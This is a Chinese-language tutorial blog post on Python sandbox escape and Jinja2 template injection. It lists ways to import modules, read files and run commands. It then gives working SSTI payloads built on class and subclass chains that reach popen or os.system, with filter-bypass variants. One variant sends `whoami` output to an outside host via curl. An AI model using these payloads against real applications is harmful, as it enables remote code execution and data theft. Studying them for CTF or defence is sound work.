沙盒逃逸/SSTI

沙盒:sandbox,是一种安全机制,为运行中的程序提供的隔离环境,通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用.
沙盒逃逸,即在一个代码执行环境下,绕过种种过滤,最终拿下shell权限的过程。

导入包

import

在一个受限制的环境里,禁止导入敏感包是很常见的,一般导入包有一些几种选择:

  • import xxx
  • from xxx import *
  • __import__("xxx")
  • importlib库
  • imp 库
  • reload(xxx)
    第一种和第二种基本上是被过滤掉的,我们主要说说后面几种用法。

__import__作为函数,只接受字符串传参,返回值可直接操作。

>>> __import__("os").system("chdir")
C:\Users\Payton\Desktop\python安全

不过是字符串的话,我们就有很多绕过的方法。

>>> __import__('o'+'s').system("chdir")
>>> __import__('so'[::-1]).system("chdir")

importlib是对import的补充,可以通过传入字符串来引入一个模块。

>>> import importlib
>>> importlib.import_module('os').system("chdir")

imp的方法python3.4之后已经废除,这里用python2实验

>>> import imp
>>> file,filepath,desc=imp.find_module('os')
>>> myos=imp.load_module("os",file,filepath,desc)
>>> myos.system("chdir")

reload用于引入一个模块,但是删除了模块的方法,用于重新恢复对方法的引用。reloadimportlib

>>> import os
>>> del os.__dict__["system"]
>>> os.system("chdir")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: module 'os' has no attribute 'system'
>>> import importlib
>>> importlib.reload(os)
<module 'os' from 'C:\\Users\\Payton\\AppData\\Local\\Programs\\Python\\Python37\\lib\\os.py'>
>>> os.system("chdir")

上述导入包的实质:搜索modules并绑定到局部变量。那么我们可以通过直接读取包文件来导入包。在模块导入的时候,默认在当前目录下查找,然后再在系统中查找,系统查找的范围是sys.path下的所有路径。
在Linux下,sys.path默认是在/usr/lib/pythonx.x/下,windows在C:\Users\Payton\AppData\Local\Programs\Python\Python37\Lib\下。
知道了包所对应的地址,就可以利用代码执行去直接导入包。
在python2下可以利用execfile(filname)执行.py文件,python3已经删除了这个方法,不过可以利用exec(source)动态加载python代码。

>>> with open('C:/Users\Payton\AppData\Local\Programs\Python\Python37\Lib\os.py','r') as f:
...     exec(f.read())
...
>>> system('chdir')

可以看到上面的exec和open我们并没有导入包而可以直接利用,这是因为python内建函数的原因。

builtins

__builtins__即时引用,在程序还为执行代码的时候就已经加载进来了。此模块并不需要导入,可以在任何模块中执行引用。
dir()函数不带参数时,返回当前范围内的变量、方法和定义的类型列表。

>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__']
>>> name="theoyu"
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'name', 'os']

dir()有参数时,可以列出一个模组/类/对象 下面 所有的属性和函数。dir()本身也是一个内置函数,查看一下__builtins__中的函数:

可以看到里面可以危险函数有很多:__import__,exec,open,eval等等都可以来利用。
我们可以直接利用这些函数,当函数名被过滤时,还可以利用dict属性来拼接函数:

>>> __builtins__.exec("print('hello')")
hello
>>> __builtins__.__dict__['__im'+'port__']('os').system('chdir')
C:\Users\Payton

因为内置模块危险函数过多,沙盒里一般会把builtins中的危险函数给删去,在python2和python3中我们的处理方式不同。
python2:

>>> del __builtins__.__dict__["__import__"]
>>> import os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: __import__ not found
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> import os

之前有说过,在python3中reload已经内置在immpotlib包里,删去了import也就导致我们根本无法导入包,后来查阅资料得知,python3可以使用内置方法__loader__.load_module加载sys模块,并从__builtins__.__dict__中删除sys.modules模块的缓存但已损坏的副本,以便我们可以使用builtins加载__loader__.load_module模块的新副本:

>>> del __builtins__.__dict__["__import__"]
>>> import os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: __import__ not found
>>> del __loader__.load_module('sys').modules['builtins']
>>> __builtins__ = __loader__.load_module('builtins')
>>> __import__
<built-in function __import__>

文件读取与命令执行

文件读取

(1)open(python2,python3)

open(__file__).read()

(2)file(python2)

file(__file__).read()

(3)codecs模块(python2,python3)

import codecs
codecs.open(__file__).read()

(4)types模块(python2)

import types
types.FileType(__file__,'r').read()

(5)os.open(python2,python3)

import os
fd = os.open(__file__, os.O_RDONLY)
print(os.read(fd, 1024))

(6)file协议
python2

import urllib
u = urllib.urlopen('file:///'+__file__)

python3

import urllib
u = urllib.request.urlopen('file:///'+__file__)
print(u.read())

(7)fileinput模块

import fileinput
with fileinput.input(files=(__file__,)) as f:
  for line in f:
    print(line)

命令执行

动态执行代码
  • exec(source):动态执行复杂的python代码,函数的返回值永远为None。
  • execfile(filename):执行一个py文件的内容。
  • eval:用来执行简单的python表达式返回表达式的结果。
命令执行

(1) os模块
通过os.system(cmd),os.popen(cmd)调用系统命令,例如:

os.system("whoami")
os.popen('whoami')

(2) commands 模块 (python3已废除)

import commands
print(commands.getoutput('whoami'))
print(commands.getstatusoutput('whoami'))

(3) subprocess模块

subprocess模块是相对比较复杂的,有很多执行命令的函数:

  • subprocess.run() Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。

    subprocess.call(['ifconfig'],shell=True)
  • subprocess.call() 执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。

  • subprocess.check_call() Python 2.5中新增的函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

  • subprocess.check_output() Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

  • subprocess.getoutput(cmd) 接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。

  • subprocess.getstatusoutput(cmd) 执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

魔法函数

基础

魔法函数的利用在沙盒逃逸中非除重要,同时也是ssti的关键。先看看几个常见的魔法函数:

__class__:
返回对象所属的类,和type()相同:

>>> class A():
...     pass
>>> a=A()
>>> print(a.__class__)
<class '__main__.A'>
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>

__base__:
以字符串的形式返回一个类所继承的类,如果有继承多个类的话默认为第一个。

__bases__:
以元组的形式返回一个类所继承的类。

__mro__:
查看类继承的所有父类,直到object

class A:
    pass
class B(A):
    pass
class C(A):
    pass
class D(C,B):
    pass

print(D.__base__)
print(D.__bases__)
print(D.__mro__)

<class '__main__.C'>
(<class '__main__.C'>, <class '__main__.B'>)
(<class '__main__.D'>, <class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)

__subclasses__():
获取类的所有子类

class A:
    pass
class B(A):
    pass
class C(A):
    pass
class D(C,B):
    pass

print(A.__subclasses__())
[<class '__main__.B'>, <class '__main__.C'>]

__init__:
用于初始化类,类实例创建后调用。主要与__globals__配合使用。

__globals__
以字典类型返回当前位置的全部模块,方法和全局变量。

class Student:
    def __init__(self):
        pass

stu=Student()
print(stu.__init__.__globals__)

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002142CADEF28>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'c:\\Users\\Payton\\Desktop\\python安全\\test.py', '__cached__': None, 'Student': <class '__main__.Student'>, 'stu': <__main__.Student object at 0x000002142E6B4128>}

构建链方法

第一步

使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> "".__class__
<class 'str'>
第二部

拿到object基类

__bases__[0]拿到基类:

>>> ''.__class__.__bases__[0]
<class 'object'>

__base__拿到基类:

>>> ''.__class__.__base__
<class 'object'>

以上两种方法适用于python3,python2需要获取两次

>>> ''.__class__.__bases__[0].__base__
<type 'object'>

__mro__[1]__mro__[-1]拿到基类:

>>> ''.__class__.__mro__[1]
<class 'object'>
>>> ''.__class__.__mro__[-1]
<class 'object'>
第三步

__subclasses__()拿到子类列表:

>>> ''.__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>,......]

可以一个一个将其打印出来以便找寻找位置。

for i in enumerate("".__class__.__bases__[0].__subclasses__()): 
    print (i)

(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>) 
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)   
......
第四步

在子类列表中寻找可getshell的类。因为python不同版本,包的位置以及用法都有所改动,这里我们着重讲述。

寻找利用链

用第三步的方法,我们可以拿到所有的子类列表,对一个类进行实例化后就可拿到下面的所有函数方法:object.__init__.__globals__.keys(),我们只需要知道对应python版本中有哪些可以getshell的方法,在转而去对应类中search即可。

例如:python3中的popen

search='popen'
num=-1
for i in ().__class__.__mro__[-1].__subclasses__():
    num+=1
    try:
        if search in i.__init__.__globals__.keys():
            print(num,i)
    except:
        pass
#128 <class 'os._wrap_close'>
>>> "".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
'laptop-jmm4emqp\\payton\n'

但上述方法只是在本地查找,我们一般在本地找好类以后,在直接request即可。

python3
  • popen,上面已经介绍过。

  • __import__:拿到__import__后,就可以利用文件读取或者命令执行的方法获取flag。

    将上述代码中的search换为__import__

    找一个75 <class '_frozen_importlib._ModuleLock'>:

    >>> "".__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__import__']('os').system('whoami')
    laptop-jmm4emqp\payton
python2
  • file读写文件:默认应该都在40

    >>> ().__class__.__mro__[-1].__subclasses__()[40]
    <type 'file'>
    >>> ().__class__.__mro__[-1].__subclasses__()[40]('flag').read()
    'flag(python is better than php)'
  • linecache 中的os

    >>> ().__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.system('chdir')
    C:\Users\Payton\Desktop\python安全
  • 直接利用os

    >>> ''.__class__.__mro__[-1].__subclasses__()[69].__init__.__globals__['os'].system("chdir")
python2 3通用
  • __builtins__内置函数

    python3:

    python2:

    __builtins__中可利用的函数导入包处已经介绍过,这里就不过多讲述。

bypass

这里选择python3以下初始语句进行变形。

"".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

过滤引号

五种请求绕过:

request.args.name
request.values.name
request.cookies.name
request.headers.name
request.form.name   
{{"".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__[request.args.name1]}}&name1=popen
#<function popen at 0x00000278FB63A2F0>

或者利用__builtins__中的chr()进行绕过

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)]}}
#<function popen at 0x00000278FB63A2F0>

过滤.

""class__等价于""["__class__"],这个在终端里会失败,在ssti里解析可以成功。
之前用过的一个payload

?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__

{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}

过滤[]

我们先看看过滤了[]会对哪些地方产生影响。

对第一个[]来说,是在一个tuple中取值,我们用__getitem__(number)即可,对于第二个[],是往一个dict中取value值,我们使用__getattribute__获取字典中的value,参数为key。

奇怪的是,在网上关于两个的说法还有很多,比如第一个[]许多payload用的是pop()的方法,但pop并不适用于tuple,猜测可能之前返回是是list类型,不过__subclasses__返回的list,这里可以使用pop。还有后面字典里,在之前版本是可以直接用dict.key返回value的值,现在会报错,还是老老实实按规矩来吧。

过滤_

使用十六进制编码绕过,_编码后为\x5f.编码后为\x2E
payload:

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[128]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

过滤关键字

  1. 和上述方法一样,十六进制绕过。

  2. []中+拼接或者__getattribute__后括号内+拼接。

  3. join拼接(同时过滤.)

    {{()|attr(["_"*2,"cla","ss","_"*2]|join)}}

过滤{{

  1. DNSLOG外带数据

    {% if ().__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('curl http://theoyu.top/`whoami`').read()=='ssti' %}1{% endif %}
  2. print标记

    {%print "".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()%}

    本地尝试并没能成功..

bypass pro

元帅学长的博客这几天不知道为什么上不去,等好了再上去观望一下...

python反序列化

参考

https://xz.aliyun.com/t/6885#toc-4
https://lethe.site/2019/08/13/python%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/#0x01-%E7%AE%80%E5%8D%95%E4%BB%8B%E7%BB%8D
http://www.cl4y.top/ssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/#toc-head-17
https://ca01h.top/Python/pysec/1.Jinja2%E7%9A%84SSTI+Bypass/

最后修改:2021 年 03 月 09 日 09 : 53 AM